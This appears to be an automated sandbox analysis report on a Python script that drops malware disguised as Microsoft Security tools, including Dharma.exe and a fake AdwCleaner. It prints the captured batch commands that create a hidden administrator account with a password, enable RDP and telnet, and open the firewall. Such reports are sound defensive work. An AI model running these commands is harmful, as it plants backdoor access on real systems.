Token: SeCreatePagefilePrivilege	4480	chrome.exe
Token: SeShutdownPrivilege	4480	chrome.exe
Token: SeCreatePagefilePrivilege	4480	chrome.exe
Token: SeShutdownPrivilege	4480	chrome.exe
Token: SeCreatePagefilePrivilege	4480	chrome.exe
Token: SeShutdownPrivilege	4480	chrome.exe
Token: SeCreatePagefilePrivilege	4480	chrome.exe
Token: SeShutdownPrivilege	4480	chrome.exe
Token: SeCreatePagefilePrivilege	4480	chrome.exe
Token: SeShutdownPrivilege	4480	chrome.exe
Token: SeCreatePagefilePrivilege	4480	chrome.exe
Token: SeShutdownPrivilege	4480	chrome.exe
Token: SeCreatePagefilePrivilege	4480	chrome.exe
Token: SeShutdownPrivilege	4480	chrome.exe
Token: SeCreatePagefilePrivilege	4480	chrome.exe
Token: SeShutdownPrivilege	4480	chrome.exe
Token: SeCreatePagefilePrivilege	4480	chrome.exe
Token: SeShutdownPrivilege	4480	chrome.exe
Token: SeCreatePagefilePrivilege	4480	chrome.exe
Token: SeShutdownPrivilege	4480	chrome.exe
Token: SeCreatePagefilePrivilege	4480	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

chrome.exe

pid	process
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe

Suspicious use of SendNotifyMessage 27 IoCs

Processes:

chrome.exeCockroachOnDesktop.exeButterflyOnDesktop.exeSearchHost.exe

pid	process
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
1164	CockroachOnDesktop.exe
4220	ButterflyOnDesktop.exe
4248	SearchHost.exe

Suspicious use of SetWindowsHookEx 5 IoCs

Processes:

mssql.exemssql2.exeSearchHost.exe6AdwCleaner.exe

pid process

2836 mssql.exe
4892 mssql2.exe
4248 SearchHost.exe
2320 6AdwCleaner.exe
2320 6AdwCleaner.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

chrome.exe

description	pid	process	target process
PID 4480 wrote to memory of 1956	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 1956	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3120	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3120	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3120	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3120	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3120	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3120	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3120	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3120	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3120	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3120	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3120	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3120	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3120	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3120	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3120	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3120	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3120	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3120	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3120	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3120	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3120	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3120	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3120	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3120	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3120	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3120	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3120	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3120	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3120	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3120	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3120	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3120	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3120	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3120	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3120	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3120	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3120	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3120	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3484	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3484	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3960	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3960	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3960	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3960	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3960	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3960	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3960	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3960	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3960	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3960	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3960	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3960	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3960	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3960	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3960	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3960	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3960	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3960	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3960	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3960	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3960	4480	chrome.exe	chrome.exe
PID 4480 wrote to memory of 3960	4480	chrome.exe	chrome.exe

Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exe

pid process

232 attrib.exe

pid	process
232	attrib.exe

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://bit.ly/triageshare2024
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4480
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffa06949758,0x7ffa06949768,0x7ffa06949778
  2⤵
  PID:1956
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1728 --field-trial-handle=1840,i,17820895246361370531,17723185050973425368,131072 /prefetch:2
  2⤵
  PID:3120
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2100 --field-trial-handle=1840,i,17820895246361370531,17723185050973425368,131072 /prefetch:8
  2⤵
  PID:3484
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2236 --field-trial-handle=1840,i,17820895246361370531,17723185050973425368,131072 /prefetch:8
  2⤵
  PID:3960
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3152 --field-trial-handle=1840,i,17820895246361370531,17723185050973425368,131072 /prefetch:1
  2⤵
  PID:4780
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3184 --field-trial-handle=1840,i,17820895246361370531,17723185050973425368,131072 /prefetch:1
  2⤵
  PID:740
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4512 --field-trial-handle=1840,i,17820895246361370531,17723185050973425368,131072 /prefetch:1
  2⤵
  PID:3056
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1724 --field-trial-handle=1840,i,17820895246361370531,17723185050973425368,131072 /prefetch:8
  2⤵
  PID:212
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4968 --field-trial-handle=1840,i,17820895246361370531,17723185050973425368,131072 /prefetch:8
  2⤵
  PID:3500
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=884 --field-trial-handle=1840,i,17820895246361370531,17723185050973425368,131072 /prefetch:8
  2⤵
  PID:2496
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --mojo-platform-channel-handle=5344 --field-trial-handle=1840,i,17820895246361370531,17723185050973425368,131072 /prefetch:1
  2⤵
  PID:5020
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --mojo-platform-channel-handle=3296 --field-trial-handle=1840,i,17820895246361370531,17723185050973425368,131072 /prefetch:1
  2⤵
  PID:4348
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5508 --field-trial-handle=1840,i,17820895246361370531,17723185050973425368,131072 /prefetch:8
  2⤵
  PID:4948
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5564 --field-trial-handle=1840,i,17820895246361370531,17723185050973425368,131072 /prefetch:8
  2⤵
  PID:3472
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --mojo-platform-channel-handle=4524 --field-trial-handle=1840,i,17820895246361370531,17723185050973425368,131072 /prefetch:1
  2⤵
  PID:4776
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --mojo-platform-channel-handle=5800 --field-trial-handle=1840,i,17820895246361370531,17723185050973425368,131072 /prefetch:1
  2⤵
  PID:2268
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --mojo-platform-channel-handle=6040 --field-trial-handle=1840,i,17820895246361370531,17723185050973425368,131072 /prefetch:1
  2⤵
  PID:4888
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3428 --field-trial-handle=1840,i,17820895246361370531,17723185050973425368,131072 /prefetch:8
  2⤵
  PID:964
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5304 --field-trial-handle=1840,i,17820895246361370531,17723185050973425368,131072 /prefetch:8
  2⤵
  PID:1032
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5540 --field-trial-handle=1840,i,17820895246361370531,17723185050973425368,131072 /prefetch:8
  2⤵
  PID:3228
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1632 --field-trial-handle=1840,i,17820895246361370531,17723185050973425368,131072 /prefetch:8
  2⤵
  PID:3880
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5336 --field-trial-handle=1840,i,17820895246361370531,17723185050973425368,131072 /prefetch:8
  2⤵
  PID:4900
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5092 --field-trial-handle=1840,i,17820895246361370531,17723185050973425368,131072 /prefetch:8
  2⤵
  PID:2164
- C:\Users\Admin\Downloads\python-3.12.3-amd64.exe
  "C:\Users\Admin\Downloads\python-3.12.3-amd64.exe"
  2⤵
  - Executes dropped EXE
  PID:3308
- - C:\Windows\Temp\{6C7E9ED2-0FB8-47C6-82E4-B83ABEECA995}\.cr\python-3.12.3-amd64.exe
    "C:\Windows\Temp\{6C7E9ED2-0FB8-47C6-82E4-B83ABEECA995}\.cr\python-3.12.3-amd64.exe" -burn.clean.room="C:\Users\Admin\Downloads\python-3.12.3-amd64.exe" -burn.filehandle.attached=556 -burn.filehandle.self=564
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Adds Run key to start application
    - Modifies registry class
    PID:452
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5960 --field-trial-handle=1840,i,17820895246361370531,17723185050973425368,131072 /prefetch:8
  2⤵
  PID:4536
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=4532 --field-trial-handle=1840,i,17820895246361370531,17723185050973425368,131072 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4524
- C:\Users\Admin\AppData\Local\Programs\Python\Launcher\py.exe
  "C:\Users\Admin\AppData\Local\Programs\Python\Launcher\py.exe" "C:\Users\Admin\Downloads\straight up dls.py"
  2⤵
  - Executes dropped EXE
  PID:1564
- - C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe
    C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe "C:\Users\Admin\Downloads\straight up dls.py"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:3556
  - - C:\Users\Admin\AppData\Local\Microsoft\Windows\MicrosoftSecurity\ButterflyOnDesktop.exe
      C:\Users\Admin\AppData\Local\Microsoft\Windows\MicrosoftSecurity\ButterflyOnDesktop.exe
      4⤵
      Executes dropped EXE
      Suspicious use of SendNotifyMessage
      PID:4220
  - - C:\Users\Admin\AppData\Local\Microsoft\Windows\MicrosoftSecurity\CockroachOnDesktop.exe
      C:\Users\Admin\AppData\Local\Microsoft\Windows\MicrosoftSecurity\CockroachOnDesktop.exe
      4⤵
      Executes dropped EXE
      Suspicious use of SendNotifyMessage
      PID:1164
  - - C:\Users\Admin\AppData\Local\Microsoft\Windows\MicrosoftSecurity\Dharma.exe
      C:\Users\Admin\AppData\Local\Microsoft\Windows\MicrosoftSecurity\Dharma.exe
      4⤵
      Checks computer location settings
      Executes dropped EXE
      PID:2824
    - - C:\Users\Admin\Downloads\ac\nc123.exe
        
        "C:\Users\Admin\Downloads\ac\nc123.exe"
        5⤵
        Executes dropped EXE
        
        PID:2100
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c cls
        6⤵
        
        PID:4968
    - - C:\Users\Admin\Downloads\ac\mssql.exe
        
        "C:\Users\Admin\Downloads\ac\mssql.exe"
        5⤵
        Sets service image path in registry
        Executes dropped EXE
        Suspicious behavior: LoadsDriver
        Suspicious use of SetWindowsHookEx
        
        PID:2836
    - - C:\Users\Admin\Downloads\ac\mssql2.exe
        
        "C:\Users\Admin\Downloads\ac\mssql2.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:4892
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\ac\Shadow.bat" "
        5⤵
        
        PID:1412
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\ac\systembackup.bat" "
        5⤵
        
        PID:1348
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c WMIC Group Where "SID = 'S-1-5-32-544'" Get Name /Value | Find "="
        6⤵
        
        PID:2216
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        WMIC Group Where "SID = 'S-1-5-32-544'" Get Name /Value
        7⤵
        
        PID:4344
        
        C:\Windows\SysWOW64\find.exe
        
        Find "="
        7⤵
        
        PID:4756
      - C:\Windows\SysWOW64\net.exe
        
        net user systembackup Default3104 /add /active:"yes" /expires:"never" /passwordchg:"NO"
        6⤵
        
        PID:112
        
        C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user systembackup Default3104 /add /active:"yes" /expires:"never" /passwordchg:"NO"
        7⤵
        
        PID:1964
      - C:\Windows\SysWOW64\net.exe
        
        net localgroup Administrators systembackup /add
        6⤵
        
        PID:1296
        
        C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators systembackup /add
        7⤵
        
        PID:960
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c WMIC Group Where "SID = 'S-1-5-32-555'" Get Name /Value | Find "="
        6⤵
        
        PID:2788
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        WMIC Group Where "SID = 'S-1-5-32-555'" Get Name /Value
        7⤵
        
        PID:2252
        
        C:\Windows\SysWOW64\find.exe
        
        Find "="
        7⤵
        
        PID:4076
      - C:\Windows\SysWOW64\net.exe
        
        net localgroup "Remote Desktop Users" systembackup /add
        6⤵
        
        PID:1032
        
        C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup "Remote Desktop Users" systembackup /add
        7⤵
        
        PID:2080
      - C:\Windows\SysWOW64\net.exe
        
        net accounts /forcelogoff:no /maxpwage:unlimited
        6⤵
        
        PID:4180
        
        C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 accounts /forcelogoff:no /maxpwage:unlimited
        7⤵
        
        PID:4692
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
        6⤵
        
        PID:4584
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\system\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f
        6⤵
        
        PID:1648
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v systembackup /t REG_DWORD /d 0x0 /f
        6⤵
        
        PID:2336
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib C:\users\systembackup +r +a +s +h
        6⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:232
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add portopening TCP 3389 "Remote Desktop"
        6⤵
        Modifies Windows Firewall
        
        PID:2104
      - C:\Windows\SysWOW64\sc.exe
        
        sc config tlntsvr start=auto
        6⤵
        Launches sc.exe
        
        PID:4588
      - C:\Windows\SysWOW64\net.exe
        
        net start Telnet
        6⤵
        
        PID:4768
        
        C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start Telnet
        7⤵
        
        PID:3884
    - - C:\Users\Admin\Downloads\ac\EVER\SearchHost.exe
        
        "C:\Users\Admin\Downloads\ac\EVER\SearchHost.exe"
        5⤵
        Executes dropped EXE
        Enumerates connected drives
        Suspicious use of SendNotifyMessage
        Suspicious use of SetWindowsHookEx
        
        PID:4248
  - - C:\Users\Admin\AppData\Local\Microsoft\Windows\MicrosoftSecurity\AdwereCleaner.exe
      C:\Users\Admin\AppData\Local\Microsoft\Windows\MicrosoftSecurity\AdwereCleaner.exe
      4⤵
      Checks computer location settings
      Executes dropped EXE
      PID:4136
    - - C:\Users\Admin\AppData\Local\6AdwCleaner.exe
        
        "C:\Users\Admin\AppData\Local\6AdwCleaner.exe"
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetWindowsHookEx
        
        PID:2320
  - - C:\Users\Admin\AppData\Local\Microsoft\Windows\MicrosoftSecurity\rickroll.exe
      C:\Users\Admin\AppData\Local\Microsoft\Windows\MicrosoftSecurity\rickroll.exe
      4⤵
      Executes dropped EXE
      PID:1468

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:2108

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1340 --field-trial-handle=2276,i,11674642242468042059,14711253743544118298,262144 --variations-seed-version /prefetch:8
1⤵
PID:1704

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Registers COM server for autorun
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
PID:4196
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 893EDE23189B73421C37A554A6834E7A
  2⤵
  - Loads dropped DLL
  PID:644
- - C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe
    "C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe" -E -s -m ensurepip -U --default-pip
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:4852
  - - C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe
      C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe -W ignore::DeprecationWarning -c " import runpy import sys sys.path = ['C:\\Users\\Admin\\AppData\\Local\\Temp\\tmpci77zxg5\\pip-24.0-py3-none-any.whl'] + sys.path sys.argv[1:] = ['install', '--no-cache-dir', '--no-index', '--find-links', 'C:\\Users\\Admin\\AppData\\Local\\Temp\\tmpci77zxg5', '--upgrade', 'pip'] runpy.run_module(\"pip\", run_name=\"__main__\", alter_sys=True) "
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4348

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1408 --field-trial-handle=2276,i,11674642242468042059,14711253743544118298,262144 --variations-seed-version /prefetch:8
1⤵
PID:4948

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery